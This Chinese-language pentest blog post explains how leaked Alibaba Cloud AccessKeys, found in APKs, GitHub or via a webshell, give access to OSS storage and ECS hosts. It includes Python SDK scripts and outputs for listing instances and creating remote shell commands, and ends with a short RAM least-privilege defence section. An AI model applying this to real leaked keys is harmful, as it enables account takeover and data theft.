
內容不太適合以公開的形式發布, 做項目時候發現AWS與某雲OSS的AccessKey,然后去某雲官網看文檔發現很多有意思的東西。
文章整體結構:
- 滲透場景
- 雲術語了解
- 創建一個OSS
- 訪問控制了解
- Access Key身份驗證了解
- OSS三種連接方式
- 實際案例
- OpenAPI Explorer調用執行ECS命令
- 如何防護
- RAM用戶
滲透場景
- APK文件中存放Access Key;
- Github查找目標關鍵字發現Access Key與AccessKey Secret;
- 擁有WebShell低權限的情況下搜集阿里雲Access Key利用;
雲術語概述
RDS
- 關系型數據庫服務(Relational Database Service,簡稱 RDS)是一種穩定可靠、可彈性伸縮的在線數據庫服務。
- RDS 采用即開即用方式,兼容 MySQL、 SQL Server 兩種關系型數據庫,並提供數據庫在線擴容、備份回滾、性能監測 及分析功能。
- RDS 與雲服務器搭配使用 I/O 性能倍增,內網互通避免網絡瓶頸。
對象存儲 OSS(理解為網盤)
- 對象存儲(Object Storage Service),是阿里雲對外提供的海量、安全和高可靠的雲存儲服務。
- RESTFul API 的平台無關性,容量和處理能力的彈性擴展,按實際容量付費真正使您專注於核心業務。
ODPS
- Open Data Processing Service,是基於阿里雲完全自主知識產權的雲計 算平台構建的數據存儲與分析的平台。
- ODPS 提供大規模數據存儲與數據分析, 用戶可以使用 ODPS 平台上提供的數據模型工具與服務,同時也支持用戶自己發布數據分析工具。
ECS
- 雲服務器(Elastic Compute Service,簡稱ECS)
安全組
- 安全組是一種虛擬防火牆,具備狀態檢測和數據包過濾功能,用於在雲端划分安全域。
- 同一安全組內的ECS實例之間默認內網網絡互通。
購買開通,創建Bucket(存儲空間): 取名為狗子的OSS


OSS外網地址由:https://[Bucket名稱].oss-區域.aliyuns.com 組成 guizideoss.oss-cn-beijing.aliyuncs.com 在滲透期間看到這段地址或者在配置文件中多留意一下。
訪問控制
- 對 OSS 的資源訪問分為擁有者訪問、第三方用戶訪問。這里的擁有者指的是 Bucket 的擁有者,也稱為開發者。
- 第三方用戶是指訪問 Bucket 里資源的用 戶。 訪問又分為匿名訪問和帶簽名訪問。
- 對於 OSS 來說,如果請求中沒有攜帶 任何和身份相關的信息即為匿名訪問。
- 帶簽名訪問指的是按照 OSS API 文檔中 規定的在請求頭部或者在請求 URL 中攜帶簽名的相關信息。
- OSS 提供 Bucket 和 Object 的權限訪問控制。

Access Key身份驗證
- 阿里雲用戶可以在管理控制台里自行創建 Access Key,Access Key是由AccessKey ID 和 AccessKey Secret 組成。
- 其中 ID 是公開的,用於標識用戶身份,Secret 是秘密的,用於用戶鑒別。
- 當用戶向 OSS 發送請求時,需要首先將發送的請求按照 OSS 指定的格式生成簽名字符串;
- 然后使用 AccessKey Secret 對簽名字符串進行加密(基於HMAC 算法)產生驗證碼。
- 驗證碼帶時間戳,以防止重放攻擊。
- OSS 收到請求以后,通過 AccessKey ID 找到對應的 AccessKey Secret,以同樣的方法提取簽名字符串和驗證碼,如果計算出來的驗證碼和提供的一樣即認為該請求是有效的;否則,OSS 將拒絕處理這次請求,並返回 HTTP 403 錯誤。
三種方式來連接:
- OSS Browser
- OSSUTIL
- API Explorer
- 第三方平台
實際案例:在gayhub、pornhub查找關鍵詞(懂的自然懂,為了不讓零基礎的人亂搞)

使用行雲管家直接導入:

獲取OSS數據:

獲取ECS主機。

可直接獲取阿里雲主機進行重置密碼等操作:


OpenAPI Explorer調用:
在線API調用操作:https://api.aliyun.com/#/?product=Ecs&api=DescribeRegions 可寫完后直接調試.

或CloudShell調試:


如想在本地執行Python代碼,安裝:
pip install oss2
pip install aliyun-python-sdk-ecs
查詢一台或多台ECS實例的詳細信息,DescribeInstances.py: 其中RegionId必填,地域ID,可以調用DescribeRegions查看最新的阿里雲地域列表。
#!/usr/bin/env python
#coding=utf-8
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.DescribeInstancesRequest import DescribeInstancesRequest
client = AcsClient(‘LTAccccccWCNnl', 'bxwgOMs0ccccccccccd740CD1e'c 'cn-hangzhou')
request = DescribeInstancesRequest()
request.set_accept_format('json')
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
https://help.aliyun.com/document_detail/25506.html?spm=a2c4g.11186623.4.6.2b661f3cGRL5y3

{
"PageNumber": 1,
"TotalCount": 1,
"PageSize": 10,
"RequestId": “7863cccc-8c28-4c28-Bc2E-F88ccDA03F05",
"Instances": {
"Instance": [{
"ImageId": "centos_7_04_64_20G_alibase_201701015.vhd",
"VlanId": "",
"EipAddress": {
"IpAddress": "",
"AllocationId": "",
"InternetChargeType": ""
},
"ZoneId": "cn-hangzhou-e",
"IoOptimized": true,
"SerialNumber": "13bcc8bc-c3e7-4fc0-9ed4-68ccb2af884a",
"Cpu": 2,
"Memory": 4096,
"DeviceAvailable": true,
"SecurityGroupIds": {
"SecurityGroupId": ["sg-bp1dr3fcsoscccelb7su"]
},
"SaleCycle": "",
"AutoReleaseTime": "",
"ResourceGroupId": "",
"OSType": "linux",
"OSName": "CentOS 7.4 64位",
"InstanceNetworkType": "vpc",
"HostName": "iZbp17jccccarinaieihc6Z",
"CreationTime": "2017-11-01T02:32Z",
"EcsCapacityReservationAttr": {
"CapacityReservationPreference": "",
"CapacityReservationId": ""
},
"RegionId": "cn-hangzhou",
"DeletionProtection": false,
"OperationLocks": {
"LockReason": []
},
"ExpiredTime": "2019-11-01T16:00Z",
"InnerIpAddress": {
"IpAddress": []
},
"InstanceTypeFamily": "ecs.n1",
"InstanceId": "i-bp17jcccccrinaieihc6",
"NetworkInterfaces": {
"NetworkInterface": [{
"MacAddress": "00:16:3e:0f:b7:2c",
"PrimaryIpAddress": "172.16.221.2",
"NetworkInterfaceId": "eni-bpcccccclysr38p1sgn"
}]
},
"InternetMaxBandwidthIn": -1,
"CreditSpecification": "",
"InternetChargeType": "PayByTraffic",
"SpotStrategy": "NoSpot",
"StoppedMode": "Not-applicable",
"InternetMaxBandwidthOut": 94,
"VpcAttributes": {
"NatIpAddress": "",
"PrivateIpAddress": {
"IpAddress": ["172.16.221.2"]
},
"VSwitchId": "vsw-bp1ccccm3e0qtey5smp7e",
"VpcId": "vpc-bpcccccbmxvociir58ez"
},
"SpotPriceLimit": 0.0,
"StartTime": "2019-07-01T02:38Z",
"InstanceName": "aly1",
"Description": "",
"OSNameEn": "CentOS 7.4 64 bit",
"PublicIpAddress": {
"IpAddress": [“120.cc.cc.160"]
},
"InstanceType": "ecs.n1.medium",
"Status": "Running",
"Recyclable": false,
"ClusterId": "",
"GPUSpec": "",
"InstanceChargeType": "PrePaid",
"GPUAmount": 0,
"DedicatedHostAttribute": {
"DedicatedHostId": "",
"DedicatedHostName": ""
},
"DedicatedInstanceAttribute": {
"Affinity": "",
"Tenancy": ""
},
"DeploymentSetId": ""
}]
}
}
調用CreateCommand新建一條雲助手命令,CreateCommand.py https://api.aliyun.com/#/?product=Ecs&api=CreateCommand¶ms={}&tab=DOC&lang=PYTHON
Name隨便寫Type類型:可以創建以下類型的命令:
- Windows實例適用的Bat腳本(RunBatScript)
- Windows實例適用的PowerShell腳本(RunPowerShellScript)
- Linux實例適用的Shell腳本(RunShellScript
CommandContent該參數的值必須使用Base64編碼后傳輸,且腳本內容的大小在Base64編碼之后不能超過16KB。

#!/usr/bin/env python
#coding=utf-8
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest
client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')
request = CreateCommandRequest()
request.set_accept_format('json')
request.set_Name("test1")
request.set_Type("RunShellScript")
request.set_CommandContent("aWZjb25maWc=")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
{"RequestId":"94ccc19A-5870-46c5-AE9F-39ccc9A79407","CommandId":"c-79f1aeb6632ccccc3a82f40647c1c2dd7"}
命令執行情況: DescribeCommands
#!/usr/bin/env python
#coding=utf-8
from aliyunsdkcore.client import AcsClient
from aliyunsdkcore.acs_exception.exceptions import ClientException
from aliyunsdkcore.acs_exception.exceptions import ServerException
from aliyunsdkecs.request.v20140526.DescribeCommandsRequest import DescribeCommandsRequest
client = AcsClient('<accessKeyId>', '<accessSecret>', 'cn-beijing')
request = DescribeCommandsRequest()
request.set_accept_format('json')
request.set_CommandId("c-79f1aeb6632140c3a82f40647c1c2dd7")
response = client.do_action_with_exception(request)
# python2: print(response)
print(str(response, encoding='utf-8'))
{
"PageNumber": 1,
"TotalCount": 1,
"PageSize": 10,
"RequestId": "Dcccc8B72-27B0-4FF7-8DDB-A6Ccccc807F1",
"Commands": {
"Command": [{
"CreationTime": "2019-10-12T09:14Z",
"Name": "test1",
"Timeout": 3600,
"CommandContent": "aWZjb25maWc=",
"Description": "",
"Type": "RunShellScript",
"EnableParameter": false,
"ParameterNames": {
"ParameterName": []
},
"CommandId": "c-79f1aeb66cccccca82f40647c1c2dd7",
"WorkingDir": ""
}]
}
}
把所有API文檔看了一遍,我認為會常用的:
DescribeSecurityGroups 查詢您創建的安全組的基本信息,例如安全組ID和安全組描述等。返回列表按照安全組ID降序排列。
DescribeCommands 查詢您已經創建的雲助手命令
DescribeRegions 查詢您可以使用的阿里雲地域。
DescribeInstances 查詢一台或多台ECS實例的詳細信息。
GetInstanceConsoleOutput 獲取一台實例的系統命令行輸出,數據以Base64編碼后返回。
DescribeSnapshotPackage 查詢您在一個阿里雲地域下已經購買的對象存儲OSS存儲包,存儲包可以用於抵扣快照存儲容量。
GetInstanceScreenshot 獲取實例的截屏信息。
ExportImage 導出您的自定義鏡像到與該自定義鏡像同一地域的OSS Bucket里。
InvokeCommand 為一台或多台ECS實例觸發一條雲助手命令。
RunCommand 執行命令
如何防護
當獲取AccessKey的時候就完全控制阿里雲帳號,但是有時候獲取OSS的AccessKey為什么獲取不到ECS主機?
因為配置了RAM用戶,使用RAM用戶連接OSS。
RAM (Resource Access Management) 是阿里雲為客戶提供的用戶身份管理與訪問控制服務。
- 使用RAM,您可以創建、管理用戶賬號(比如員工、系統或應用程序),並可以控制這些用戶賬號對您名下資源具有的操作權限。
- 當您的企業存在多用戶協同操作資源時,使用RAM可以讓您避免與其他用戶共享雲賬號密鑰,按需為用戶分配最小權限,從而降低您的企業信息安全風險。
- 一個雲賬號下可以創建多個RAM用戶,對應企業內的員工、系統或應用程序。
- RAM用戶歸屬於雲賬號,只能在所屬雲賬號的空間下可見,而不是獨立的雲賬號。
- RAM用戶必須在獲得雲賬號的授權后才能登錄控制台或使用API操作雲賬號下的資源。

默認情況下如果沒有創建RAM用戶則是使用阿里雲創建的用戶生成的Access Key則是擁有所有管理權限的,在看文檔時候發現可以通過API調用函數可以購買ECS或刪除等功能.